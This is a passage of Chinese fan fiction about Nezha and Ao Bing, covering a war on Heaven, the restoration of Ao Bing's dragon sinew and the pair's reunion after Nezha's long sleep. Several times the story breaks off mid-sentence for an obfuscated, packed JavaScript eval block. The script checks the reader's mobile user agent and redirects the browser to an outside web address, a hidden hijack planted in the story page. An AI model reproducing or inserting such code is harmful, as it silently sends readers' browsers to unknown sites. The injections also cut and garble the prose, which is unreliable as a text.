敖丙心虚笑笑:“我可能……能帮点忙?” 孙悟空看着敖丙还坐在轮椅上,了然了:“抱歉兄台,多有冒犯!” “诶?你头上怎么长角啊?”孙大圣话头立刻就拐了,指着龙角,想摸,被哪吒一记眼刀打回去了。 “我是龙族。”敖丙看着哪吒笑笑,有礼貌回答到。 “!哟,俺老孙这金箍棒,还是在东海龙宫拿的呢!”那猴儿不知怎的突然又变出来个金箍棒,在屋子里耍了几下。 后来,哪吒杨戬去做饭,敖丙孙悟空倒是聊得来,四人吃了餐饭,互相大谈天庭种种不干人事的事儿,骂得爽了,酒也干了,兴致到了,到了天光就得散了,约着什么时候时机到了,一起披甲上阵。 人间500年,敖丙习得风雨之术,能控雷电。 他和哪吒在人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天,他们把买回来几十本画册文书看了个遍,看到天光,直到鸡打鸣打累了,太阳都晒到屋子里了,二人才草草洗漱,一齐睡在床榻上。 人间千年,敖丙成年了。 那天他们去东海之畔看海去了。 敖丙眼尖,那时两人正坐在岸上吹海风,任由海浪打湿二人衣裳,他就化作小青龙往海里冲。 “敖丙!浪急得很!你小心点!”哪吒脱口而出,转念一想,敖丙是龙啊,大海生他养他,又不是人,不畏水。 “哪吒!看!”敖丙很快就游了回来,爪子抓着个海螺。 那海螺比一掌还大,无一处生长疤痕与缺损之处,花纹美丽,口盖堪称无暇,确实是一个上好的海螺,只是这并非什么名贵品种。 哪吒看着那个面生的海螺,不解的看向敖丙,这是要拿去市集卖吗? “这是一只龙宫翁戎螺,它本应是红色,可这只却是青色。”敖丙语速轻快。 哪吒心里有了个猜测:“这……该不会是……龙王?你父王?” 脑子里又想起来那条青色鲤鱼的模样。 “我想……应该是吧?父王?你在那边吗?” 12. 第12回 风雨欲来 不久后,那边就传来回应:“儿啊,中坛元帅在你旁边啊?” “啊……”敖丙大概想到了父王还是介怀千年前那事儿,“这千年来多亏哪吒养我了。” 两个人围着海螺,把这千年的事儿大致和龙王说了。 听罢,龙王一声叹息:“也好,你们两个互相照应,也好……” 哪吒想,好个鬼,语气就挺惋惜的不是。 “父王,龙族在禁海,可好?” “挺好的,休养生息千年,现今实力也比曾经要好了,多亏你在人间掌管风雨啊,为父能感受到香火旺起来了,还以为这快两万年岁月我要老了,结果现在是太久没动筋骨,憋着一口气呢!”老龙王语气听得闲适,如今不用给天庭干活,独子也安生活着,除了相隔两界,也没什么缺憾了。 父子俩都对着海螺静默了片刻,什么都想说,又什么都说不出口。 最后还是敖丙先开了口:“父王……我们……还能再见面吗?”纵使小龙独立自强,又怎会不思念故海,思念亲人。 老龙王说:“龙族护心鳞,千年长一片,一片才可开启一次禁海通道,那一开一关,就是两片。”可一条龙身上满打满算也就三块护心鳞呢。 敖丙回想了一下自己的龙形,心脏处确实还缺损着护心鳞,连带着人形时心口也带着狰狞的疤。 不是不见,时候未到。 哪吒说了杨戬和齐天大圣孙悟空的事儿,打算再撮合撮合龙族大将,等万事俱备,那就把这天地倾覆。 老龙王倒是抓得了重点:“我那定海神针就这么被他拔走了?”那年走得急,定海神针就被留在上层水界了。 哪吒:“……” 敖丙:“幸好,人间的海还平和着……” 龙王思衬再三,允下哪吒的提议,让他们把这螺拿回家好生养着,日后就靠它联络了。 到最后,龙王才说到他真想说的那句: “敖丙啊,千年了,你也成年了。为父心里真的为你骄傲。” “无论何时何地,父王一直爱你,龙宫永远等你回家。” 敖丙还没来得及回话,那海螺就再也没出过声。 哪吒看看海螺,又看看敖丙:“你觉不觉得,这天下父亲都不愿把爱诉诸于口?” 两人面面相觑,敖丙轻笑点头,表示认可,还追了一句:“好像大家都是这样。” 又是平平淡淡的一天,哪吒去做饭,灶台是特制的,其他家具也是,都偏矮,方便敖丙坐轮椅时也能顺利使用。饭快做好了,敖丙帮忙把饭盛了,碗筷摆好。 二人正闲聊着,那大门就猛地被踹开了,贼大一声,让敖丙盛饭的手都抖了一抖。 “哪吒!敖丙!好消息!”又是那位未见其人先闻其声的显圣真君——杨戬。 “添双筷子吧。”哪吒哭笑不得把菜端走。 “好消息啊,打听到了,天庭最近从三界之外得了个宝物,有重塑筋骨的功效。”杨戬一手打了个响指,另一手夹着肉片扔给一旁啸天,啸天一个起身,把肉片稳稳接住。 哪吒听到后立刻不动筷子了,眼睛看看敖丙,又看看杨戬:“那敖丙……” 杨戬眼笑得弯起来:“我觉得,希望很大。” 敖丙慢条斯理吃着,等咽下了才慢慢开口:“没那么容易拿到吧。” 杨戬又扔了一块肉给啸天:“那是自然,在藏宝阁里呢,不能智取,只能强攻。” 先退缩的反而是敖丙:“算了吧,我现在这样也挺好的。习惯了,有没有龙筋都无所谓了。” “不行!”哪吒握住敖丙手腕,自觉失礼,就立马松开了,“我说过的,我要让你真真正正飞起来。” 敖丙心想,你好像真没说过。 “我是这个打算,你、我孙大圣,再联合一下旧部,或许有一战之力。” “虽然有点悬,但是可以试试。” 敖丙叹一口气,他知道这俩武将是打定主意要打一战了,既然避无可避,那就争取更稳的方法。 “哪吒、杨戬。”那俩已经在讨论战术了,现正停下来等着敖丙说,“我看看能不能帮上忙。”敖丙把放在水缸里好好养着的龙宫翁戎螺拿了出来。 “父王,您在那边吗?” 片刻后,老龙王的声音便响起了。 三个老牌武将时隔千年再一次站在同一战线了。 既然决定了这么做,杨戬就把事情安排妥了:召旧部再聊聊,再把齐天大圣叫来再议事几次,那就都万事俱备了。 走前,杨戬还特意给敖丙说了几句。 “敖丙,你不要有负担,虽然说此战确实以藏宝阁为起点,但是我们此战是为了掀翻天庭而战。我为报母亲的仇,孙大圣是要这天下再无不公,龙王是要龙族从此堂堂正正光明正大活在水界、不再屈居人下,哪吒……也是不想再做刽子手,也不想再东躲西藏罢了。” 敖丙又怎会不知这个道理,但战力悬殊,他真的怕有人殒命于此,千年了,他的傲气也被磨得七七八八了。他如今更希望是相安无事再过多些日子,但天庭就如一个定时炸弹,现在不爆,总有一天会炸。夜长梦多,他也理解这些武将的想法,恨只恨自己武力不够,要不然也能帮上更多的忙。 那显圣真君走了,在天界人界飞来飞去组织着,人间就又过了十几二十年,终于是把时间敲好了,累得杨戬后来找哪吒他们喝酒说,什么时候能有海螺千里传音就方便多了。 第一战,先取藏宝阁。 敖丙化作青龙,跟着哪吒和杨戬,与父王、孙悟空还有几千精锐士兵、海族将士里应外合,把藏宝阁打了个措手不及,不仅夺得了那能重塑筋骨的法宝,还夺了不少稀世武器,只是武将都有趁手的神器,便赐给了手下的大将。 哪吒急着找师父,把敖丙的龙筋重塑了,那宝物离了藏宝阁,上面的维持法术被破坏,如今仅剩三日的生效时间。若错失时机,敖丙可能这辈子都不会再有龙筋了。 却不曾想天庭的兵来得急,根本没给二人走的机会。 那就只能应战了。 那金箍棒一化,便化作顶天立地般大小,朝百万兵将挥去,将他们打得四散开来。杨戬和啸天去了东边儿,三尖两刃刀被舞出残影。龙王体型巨大,天上全是水汽,龙身一卷,那云卷就成浪,便把西边儿的天兵天将卷了个分不清东南西北。哪吒身后跟着个敖丙,一个用着火尖枪,一个操持着水力,给大兵们来了个水火两重天。 可偏偏那李靖又来了,就在哪吒面前。 小龙和哪吒都弓着背,警惕地看着托塔天王。 可托塔天王只是看看他们,又看看身后一片混战,又低头看看哪吒,如今已长到他心口那么高了。 对了,他手腕上还是带着那个长命锁,不是临时戴的,能看出来岁月在金镯子上落下的痕迹。 李靖深深叹了一口气,摇摇头,托着塔,侧身让开了一条路。 这倒是让哪吒惊诧了。 托塔天王无心恋战,跑去和另外三人草草过了几招,就撤了。天兵天将见大势已去,便也撤离战场。 第一战,告捷。 众人火速飞去了个偏僻地儿修整。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491121|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>龙王多年未见敖丙,却是说不出来什么,只是站在两米之外,看着那个漂亮的小青龙。小青龙长大了,比以往的见过的每一面都要大,都要漂亮。 敖丙才是主动的那个,唤了声父王,便朝父亲飞去,途中化作人身,将距离算得精准,在挂上父王脖颈的一刻便失了混天绫的助力,往下坠去,被龙王抱得严严实实。 这是时隔千年的片刻父子温情。一个石猴,一个自小没了父母,一个剔骨还父,谁也不愿去打搅。 哪吒和杨戬带着敖丙先去师父那儿给小青龙重塑筋骨了。 龙王则带着精锐部队,和齐天大圣继续追击,也好给其余三人打掩护。 一鼓作气,再而衰,三而竭,机不可失,那就乘胜追击。如今时机已到,天庭人人怨声载道,民间也苦不聊生、战乱频繁,正巧让天庭众神香火衰减,实力下降,可趁虚而入。 三人又一次踏入太乙真人的隐世之地,这一次,真真切切带着药来了。 “这神药虽好,但并非就无风险啊。”太乙真人拿灵力去探究这宝物,“确实有重塑筋骨之效,但这会给肉身带来莫大的苦楚。” “病患体型越大,所需的炼化时间就越长……”太乙真人估摸着敖丙大小,又问得敖丙已有千岁,推算到,“可能,得花上天界两年有余。” 哪吒杨戬对视片刻,思索着。 杨戬说到:“战事可等不了他两年,你不可能在这里等敖丙。” “我会和你们一起打,这个不需要担心。”哪吒一口回绝道。 敖丙一听这话,也不治了,那可是天界的战事,战场瞬息就千变万化,他在太乙真人此处,出于天道公约固然安全,但是两年时间,出去了也不知道会变成什么样子。 不怕一万就怕万一,他真的怕现在的朋友们因为此战殒命,天庭还有其他武将在,纵然这边有四大战神在,并非没有胜算…… “敖丙,你就留在此处,待师父为你重塑筋骨。”哪吒已做下决定,他的决定,谁也撼不动。 “可是……” “我们会回来的。” “一定会赢的。” “敖丙,若是你先成了,就来寻我。我这边若是先打完了,我就在你旁边打坐,等你醒过来,好吗?”哪吒举起手,想触碰小龙,却又不敢,颓然放下了。 哪吒与敖丙站得极近,眼眸里都倒映着对方的模样,也含着万般不舍与对未来的茫然。 敖丙张张嘴,想说什么,又说不出来,许久后才挤出一句:“哪吒,我……” 我了半天还是说不出来心里的话。 “哪吒,保重……”最后还是出来一句中规中矩的话。 哪吒迈了一步,又半蹲下,把坐于祥云上的敖丙深深拥入怀中。 “你也是,保重。下次见面,就能看见你本来的模样了。” “嗯……”敖丙也豁出去了,两手紧紧抱住哪吒,那人心跳极快,隔着衣服也能感受到怦怦的跳动着。 “对了,混天绫还给你。”敖丙双手把混天绫叠好交予给哪吒——物归原主了。 混天绫凭空而动,缠上哪吒的身子。 荷花上有一龙,约莫六七米长,前爪将身子撑起,望向湖边伫立的莲藕,寂然不动。太乙真人口念决词,哪吒看着花瓣一点点将敖丙裹住,直到再也看不见了,才依依不舍转身离开。 太乙真人感知到哪吒杨戬二人已远去,开口道:“华盖星君啊,他们已走远了,疼了就喊出来吧,会好受很多。” 谁都看不见的荷花内,青龙将自己盘成圈,痛得只打颤。 13. 第13回 成由勤俭破由奢 重塑筋骨的痛和当年被生剥龙筋的痛感有的一比,不一样的是那是抽离的痛,而这是自骨髓内发出的。好似有千万红火蚁在啃食龙骨,尖刺不断冲出来,将肉刮开。 敖丙实在是忍不住了,龙吻溢出痛喊,连龙爪都攥得紧紧的,拿头去撞荷花,想把自己敲晕过去,说不定这样能好受点。 父王告诉过他,疼了就想想甜的东西。 他想象着寒冬雨日,哪吒滚烫的指尖蘸着药按摩他的脊背。好像真的有用,弓着的身子略微和缓放松了些。 但很快他连声音都痛得发不出来了。 身子如今正承受着灭顶的苦楚,不受控地僵直着,四爪抽搐。敖丙脑子里一片空白,什么都想不到了,也听不见脊背上龙鳞一片片崩开的声音,那是新长的脊柱顶碎了坚不可摧的龙鳞。 新的龙筋攀着躯干,和千年前断开来的神经一条条接续上了。若说前面那只是□□承受,那现在这个就是拿着火刀一下下割着魂魄。 敖丙眼前一阵阵地泛着黑,眸子也不由自主上翻着,头无力睡在莲蓬之上。意志力实在是撑不下去了,身子抽搐两下,无力地不再动弹。眼皮微张着,能看见已经无法对焦的龙瞳。他没受住重塑龙筋的痛,就如同千年前被生剥龙筋那样,晕死过去了。 太乙真人对此早有预料,叹叹气,言言自语道:“晕过去也好,不痛了。” 围着敖丙的荷叶蓄满了雨露,一个打斜,露水就滴到池塘上。 “嘀嗒——” 殷红的鲜血洒到云层上,染了一目猩红。哪吒一挥火尖枪,把枪尖沾上的血甩走。 转眼间,已是过了两年有余。 天庭倾尽全力去打这生死存亡的一战,他们有兵将数量的优势,不惧拉长战线。但哪吒他们就不一样了,四将领就只有着几千的兵,若非实力断层碾压,怕是早已身首分离。如今既然没了数量优势,那就一点点将对方剿灭。两年来,也把天兵天将杀得七七八八,小兵也不是傻的,大多数都丢盔弃甲,站在中立的地方看好戏了。 两年,他们终于攻进天庭核心所在——云心宫。 四位大将身着战甲,布满密密麻麻早已干涸的血迹。四人之中最为骇人的莫过于那有杀神之名的中坛元帅——哪吒。 如今他踩着风火轮,化出三头八臂,混天绫染上血污绕在身边,火尖枪还燃着火,却不抵红棕眼眸怒火半分。 手腕一转,枪尖直指被魔家四将护住的天帝:“千年之前,我听命于你只杀不渡,还以为是造福这世间,谁知我枪下夺走多少无辜生灵!天帝,我今日就让你给那些冤魂偿命!” 杨戬一人抵住哼哈二将的猛烈攻势,给哪吒开路。 “就凭你们还想打我?”巨浪拍下,连带着万伏闪电,将那雷部火部众神牵制住。那边自是不甘示弱,雷火齐动,誓要争个你死我活。天庭一时风雨交加,雷电不住劈下,将视野变成黑白的默剧。 默剧不了一点,因为那齐天大圣是个话痨。 孙大圣拔了毫毛,这地方就凭空出来几千只猴子,叽叽喳喳,把其余的天兵包围了,他的猴毛可是取之不尽用之不竭,打的人海战术。 哪吒以一敌四,眼看那天帝要跑,便把混天绫一展,将退路尽数斩断。 四人对上十几大将,人数并不占优,更何况那天帝是把所有法宝都用上了。战况胶着着。 “啪”一声脆响,哪吒的左臂被打折了,只剩右手还有一战之力,却好似没察觉到骨折的痛,莲藕越战越勇,杀红了眼,四大天王竟一时落了下风。 小腿将火尖枪一勾,划破了云层,直取魔力红的碧玉琵琶。 “啪”,这是琵琶弦断的声音,也是花瓣张开的声音。 巨型荷花花瓣展开,显露出一条浑身水青色的龙儿,睫毛长长的,慢慢张开来,显露出映有万千星辰的眸子。 敖丙甩了甩身子,适应着新龙筋,现如今四个爪子都能动了,便爬向花台边缘,滑入湖水之中,一转眼便游到了一直守着他的太乙真人身边。 “哪吒呢?” “前些时辰门童说,还在打,就在你当年被敕封华盖星君的地方。” 敖丙谢过太乙真人,便往战场飞去了。 那青龙先是在空中歪斜的飞着,不一会儿便如利剑般刺穿天穹,如闪电般一下窜出几十里,再也看不见了,只留云层留着一丝尾迹告诉世人这曾有龙穿行而过。 那闪电在战场里穿梭,恍若追踪箭般直直撞向增长天王,魔礼青一下被撞飞,把一众天兵击飞了,徒留青云剑在哪吒脚边掉下发出清脆的响声。 齐天大圣还不知是什么东西一下撞飞他正打着的武将,当望过去时那东西已将天庭一玉柱打断。 “吼,得来全不费工夫。”孙悟空转头甩着金箍棒又去找下一个人干架了。 哪吒左臂角度诡异地折着,右手握着火尖枪,不受控的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来敖丙骨架是比哪吒要小一圈的,也更壮实,现如今敖丙只觉得怀里的人轻极了,好似就快要抓不住溜走了般。 仅短暂和战友们对视致意后,敖丙抱着人迅速往天边撤去。 那太乙真人刚送走敖丙,又看着哪吒被抱着进门。 敖丙轻轻把人放在太乙真人面前,眼蒙了层水雾,求太乙真人救救哪吒。 14. 第十四回 思悠悠恨悠悠,恨到归时方始休 哪吒已无意识,眼皮也没完全阖上,眸子是失了焦的;嘴唇微张着,嘴唇都干燥得裂开起皮,沾着血;长命锁不知怎的断开了,半卡在手腕上。若不是还能看见肚皮微微起伏,和死了没什么区别。 师父看了看脉象,便说无需过多担忧,只是耗了太多灵力和用尽气力又失血过多罢了,并无性命之虞。放在荷花里休养个把月,就可回家静待苏醒。 敖丙听着这一长串诊断,不禁感叹哪吒命比他硬多了。 上一次是哪吒看着敖丙变小,又慢慢把他一点点养大,这一次轮到敖丙等哪吒醒来了。 青龙在太乙真人的湖里面游着,有时候就睡在湖心荷花旁边,把花盘着;有时候腾空飞起,隔着层层叠叠的花瓣看着沉睡在花心的哪吒。 小莲藕侧躺着,这是他睡相最好的一次,以前老是翻来覆去的吵着敖丙,这次倒是一动不动了。嘴唇可算有回了血色,微张着,睡梦中总是颦着的眉头如今松展开来,反而显出几分脆弱感来。小龙看着哪吒许久,才又潜回水中。 心中烦闷不堪,只能靠疯狂游动来舒缓,小青龙把一湖的荷花莲叶扰得摇曳不止。 杨戬他们来探过病,几人身上都缠着绷带,伤还没全好。孙悟空话很多,恨不得把前面敖丙重塑筋骨那两年多不知道的事情一下子全倒出来。 在孙大圣的描述里,哪吒战无不胜,以一敌百,威风得很。老是说着赶快打完,他想亲眼看见敖丙自荷花间飞出的模样。 杨戬给他灌了一杯酒:“诶诶,你怎么卖兄弟呢,说好的。” 龙王想起了一些往事儿,脸拉得很长,缓缓转头瞥向儿子。 敖丙端起酒杯,转头避过父王的视线,不动声色把话题岔开了。 话聊开了,有时候杨戬孙悟空在聊,父子俩就在旁边谈着族内的事情,有时候龙王也敞开来谈,敖丙是个随性的,四人高谈阔论也没注意音量,吵吵嚷嚷的。 直到门童过来让小声点,这府邸可不只有哪吒一个伤患。猴王眨眨眼,道歉着把音量压下去了,还嘀咕着下次大家去花果山坐坐吧,他那儿可不会限制你讲多大声。 兴尽,众人起身互相拜别,齐天大圣回山里做大王;杨戬继续游历世间做个逍遥玉面郎君;龙王最后抬手摸着孩子的头,说禁海通道已开,龙族现在都在东海呢,有空多回家看看。 敖丙应下了,说等哪吒转醒了一定回家看看。 哪吒没能看见他重塑龙筋后的第一眼,但说不定敖丙能等到小莲藕苏醒的那一刻。 龙王仔细把孩子从头到脚打量一遍,点点头,欣慰地笑了,便化作一条巨龙飞向东海。 等到月余后,太乙真人说哪吒无碍了,自己要闭关修炼,让他们自行决定去留。敖丙不好多留,便化回原型,托着哪吒回去人界的家了。 人界已是过了两百年有余。 家里都落了一层厚厚的灰。 哪吒还是沉睡着,被敖丙轻轻放在湖心的大荷花上,花瓣合拢,敖丙也就过去打扫房子了。 木屋太旧了,他找来砖石重新砌了一间,再把里面的家当置换一番。等哪吒醒了,看见新家应该会很开心吧。 新身体就是好啊,干很多事儿都没了限制,新的家当都是正常高度了,哪吒以后不用为了方便他弯着腰干活了。就是床好像做大了,哪吒还没醒,敖丙每晚就躺在大床上看着月亮星河自窗的这头走到那头。 现在龙族回来了,敖丙也不用执掌太多人间风雨的事务,掌管好家这边的就行。偶尔有龙族旧友经过,他们就隔着群山望着寒暄一二。这里是哪吒的山头,结界虽然弱了,但也不好直接登门拜访。 龙族是最讲分寸礼数的种族,若非熟悉至极,绝不进入他人私人空间,若要肌肤相亲,那必是已两情相悦,许定终身,更何况龙族一生也只有一个配偶。 时间悄悄溜走了,荷花不知开了又谢了百次。小龙常常在家门口的湖里游着,有时候上半身现出水面,静静看着那百年如一的荷花。 小莲藕还在睡,睡了好长一觉。中途敖丙不放心,飞去太乙真人那边求个准信,太乙真人说哪吒不似寻常神仙,大伤过后是要修养个百年,让他稍安勿躁。 小龙信太乙真人,点点头,又火速飞回去了,生怕自己错过了荷花开的一瞬。 斗转星移,人间又换了个朝代,那锣鼓喧天,敖丙没忍住飞去城里看了看。 外界已是大变样了,有人还在蓄着发,一些是短发,卖报小儿吆喝着王朝结束了。 敖丙才发现这离上次来人间市集已过了快九百年。不知怎的右手就扶上了发冠,已不知道是多少年前哪吒送给他的,敖丙每日都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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敖丙眨眨眼,嘴里发出一声龙吟,甩甩头后找了个舒适的姿势睡着了,他今天不想睡床上,也不知道为啥。 夜里起了凉爽的秋风,带着满山的桂花香。小龙枕在莲叶上沉沉浮浮,一夜无云,月光晒在水青色的龙鳞上,像生了银色的花儿。 当露水自荷叶上蓄满滴到湖面上发出“嘀嗒”的声音,那便是太阳出来了。敖丙喜欢赖床,尾巴一甩,往周围滴滴嗒嗒滴着水的荷叶扫过去,再也没有东西吵着他睡回笼觉了。 可是还是有些什么声音窸窸窣窣地响着,敖丙恼了,龙尾巴扫来扫去,那声音就是不停下来。 那龙瞳猛地张开了,身子往上仰着,去追那声音的来处。 那是湖心荷花传来的声音。 15. 第十五回 藕花深处又逢君 湖心荷花的花瓣时隔百年终于有了动静,如今正缓缓打开着。 晨曦的光正巧穿过山里的水汽,化作一束束打在湖上,仔细看还能看见水珠在朝阳照耀下四散着金光。 小龙目不转睛看着那处。 那荷瓣完全绽开了,莲台之上躺着一个人儿,身着红衣,手挡住了半边侧脸,眉头微皱着,似是要醒了。 那是千年前生剥他龙筋之人,又是倾尽一生去赔罪之人。敖丙不知道该称他为有杀身之仇的杀神,还是救他龙族一命的中坛元帅,抑或是养大他陪伴他千年的朋友,或是身份更不可言说的小莲藕。 哪吒眼皮轻颤着,好一会才缓缓张开。刚开始眼神是对不上焦的,茫然看着前方,视野一片朦胧,片刻后意识才回了笼,红棕的眼眸睁得浑圆,身体在一番挣扎后才动了起来。 眼瞳有了神采,看清周围景色后,哪吒意识到了身在何处,他用力呼吸着,把自己挪到莲台边缘。 “敖丙……你在吗?” 小龙这才回过神,赶忙游去荷花下面,仰视着,黑色的瞳孔难得是圆的,睁得老大。。 水声荡漾,随着龙身荡起涟漪。哪吒看见小龙,笑着把右手垂下,小龙就把沾着湖水的下巴贴了上去,还抬着头,怕哪吒刚醒,力气不够。 他不想哪吒再疼了。 好久没碰过这么烫/凉的东西了。他们想。 哪吒笑了,手指轻轻动着,挠着敖丙下巴,痒得很。 敖丙被挠了一会儿,不给摸了,化回人形,落到莲台上。现在哪吒也能起身了,两个人面对面坐着,星眸交汇,好像什么都没说,又好像什么都说了。 “可以抱一下吗?”哪吒问。 敖丙半起了身,跪着蹭着挪过去,双手把哪吒紧紧拥入怀中,好似要将莲藕融进心魄,此生再不能分离。 那荷花可就不乐意了,两个人都停在莲台边缘算什么话,花杆一歪先把自己命保住,别被那俩给折了腰。 两个人失了平衡,一瞬把把对方抱得更紧。 哪吒想抱着人往花心移,敖丙却柔声提醒他:“憋气。”随后往前微微一倾。 随着哪吒一声惊呼,二人自厚厚的荷瓣上滚了几圈,噗通一声一同落入湖中。 水是龙的地盘,敖丙又起了坏心。 一个翻身,便把哪吒压在身下。二人往湖底坠去,水青色的长发和黑色似火般在水中燃起的发丝互相纠缠着。 气泡自二人身边跑出,奔向敖丙身后的水面。湖面波光粼粼的,还能看见朝晖将水下世界照亮,清透的水里,各色鲤鱼在身边游动着,还能看见荷花被水波搅成波纹样,若隐若现。 水中映着的世界美极了,像幻境一般,却不及身上那人容颜分毫。那水青色的眸子只倒映着自己,眼里全是缱绻的温柔。 青色的身子压了下来,好像有什么东西覆了上来,敖丙眼睛闭着,长长的睫毛挠着哪吒。 哪吒的脊背触到湖底了,二人的重量掀起了一点泥沙。 哪吒也闭眼了,一手扶上敖丙的后颈,一手揽上他的腰。 待到自觉喘不过气来,想往水面游,却被一股更大的力道压住,敖丙给他渡了口气过来后,才带着他往岸边游去。 衣服都湿透了,贴在身上。两人面对面侧躺在地上,手互相牵着。哪吒还在平复呼吸,他是人族,可不像敖丙那样能在水下呼吸。 不对啊,那年东海做戏打仗,他不是能长时间屏息来着? 思来想去,必定是什么东西让他丢盔弃甲了。 哪吒坐了起来,又使了把力拉起敖丙。青色的衫湿水变透,紧贴着敖丙,勾勒出圆领袍下那清瘦的身躯。 身体不听使唤,又贴了上去。作为武将,身体不听使唤可不是好事儿,但现在哪吒只想顺心而为。 殷红的唇分开了,眸子染上水汽,显得小龙更惹人怜。 哪吒拿手指碰了碰自己的唇,眼神躲闪问道:“饿了吗?” 敖丙也难为情地点点头。 “想吃什么?” “桂花汤莲藕!蒸鲈鱼!”敖丙跑到水边,一个蹦高化作龙入了水,再出来时嘴里钓了条肥美的鲈鱼。哪吒拿着篮子把鱼装了起来。家里一切的摆放如故,要找到东西不难。 “先吹头发。”回了家,哪吒把鱼放下了,环视一周发现家里大变样了。 “怎么样,还不错吧?”敖丙得意坐在椅子上,手里拿着毛巾正擦着长发。 “很漂亮。”哪吒却是走了过来,双手覆上毛巾,“这次我来帮你擦头发?” 敖丙当然也乐得不用自己擦,他头发长,每次擦完手都累得酸痛。 “我……睡了多少年啊?”擦着擦着,哪吒问到。 “没数啊,噢对了。”敖丙想起来什么,“人间好像改朝换代了,有空咱们去看看吧?” 哪吒应下了。 蒸得恰到好处的大鲈鱼被端上了桌,小龙可能是饿极了,一下子扒拉了半边,哪吒轻笑着把鱼翻了个面。 “有这么好吃?”哪吒口腹之欲一向不大,以前也是不会做饭下厨的,能吃管饱就行。后来知道敖丙在天界没好饭吃,才开始练习这些。 “还是人身好啊,”敖丙把一口饭咽下去才回话,“当龙时那都是一口闷,没意思。” 哪吒听着乐了,露出几颗白牙,筷子把鱼肚扒拉下来夹到敖丙碗里,自己吃鱼头鱼尾去了。 一个时辰前,这鱼在湖里游得正欢;现在,已是一具白骨。 “这次糖莲藕改做法了?”敖丙夹起藕片,发现本该空心的莲藕如今被糖糯米填满了。 “是啊,莲藕长出心了。”哪吒边吃边说,“好吃吗?” “很甜,好吃。”敖丙又夹了几块吃,好吃到小龙半眯着眼回答。 “对了,中秋节要到了,要不叫上他们几个来吃一餐。”敖丙可还记着杨戬那年说等哪吒醒了,他们几个吃一餐庆祝庆祝。 “杨戬、孙悟空?” “那……我父王要不要也……?” 哪吒倒是犯了难,杨戬孙悟空是能聊上天的平辈,但龙王不是啊,那是真比他们年长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491124|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万年的长辈。 “去问问他吧,他若来就一起。”哪吒还是答道。 饭后,二人并肩而行,把附近逛了一圈,到最后敖丙化成龙形,俯下身,邀哪吒上来。 “你当年说想看我在九天之上飞翔,在深水里遨游,要一起吗?” 哪吒手覆上去,敖丙的龙身极为漂亮,如今是青色的龙儿,背毛顺滑,只是心脏处还缺损着两块龙鳞。 “没事的,不疼,过个两千年就能长回来了。” 青龙跃上云层,听得凡间阵阵惊呼真龙现身。九天之上没什么稀奇的,无非就是离星河更近了,日月在视野的两头停驻。 青龙又飞向东海,这次哪吒先施了法术再入水。龙宫早已经重建了,好生气派。龙王早已在大殿门口等候了。 “父王!” 老龙王看着儿子青色的龙身,自豪地点点头,转身进了龙宫。敖丙化回龙形,转过头,示意哪吒一齐进去。 “现在天界那边还在夺权,谁都想当最大的那个。”龙王和他们谈起来政事。 “我倒是无所谓谁当,反正嘛,别挡我龙族生路,那都好说。” 二人点点头,他们对此也是一样的态度。 “对了父王,过几日是中秋,你要不要来一起吃一餐?” 当听到会去的其他人都是小辈时,龙王笑笑,寻了个借口推掉了。 哪吒席中识趣的寻了个借口离开,留给父子俩私人时间。 “以后……还回来吗?” “回。只是……龙王一位,儿臣只怕……难当大任。” 龙王叹了口气,这答案他早就猜到了,也不出奇。 “无妨,龙族也并非以血缘论事儿,能担大任者方能成王。”老龙王拍拍敖丙肩膀以示宽慰,“东海永远欢迎你回来。” 敖丙哪吒拜别龙王,在飞回家的路上抓了几只如意鸟,托了口信给杨戬孙大圣,邀他们一同赏月饮酒作乐。 晚上,那张大床不知隔了多少岁月,才终于有人把它睡满了。 纸窗开了,月光随着清风映入床铺。吹得满屋桂花香味。 二人没话找话闲聊着。 “世人都说,要成神都得历劫,你是千七百杀劫,那我呢?”水青色的星眸带着好奇望向哪吒,寻求解答。 “嗯……”哪吒看着敖丙,思索片刻,脑子里全是二人千年种种。 “可能……你的劫,是我吧?”哪吒手覆上敖丙脸颊,在额间落下亲吻。 蝉还在叫着,窗外不时传来鱼儿跃上水面又掉下去的水花声。月亮愈发地圆和亮。 小龙和小莲藕沉沉睡去了,面对着面。 一夜无梦,一夜好梦,从此以后都是美梦。 那空心的小莲藕终是长了心,被小龙用爱填得满满的。 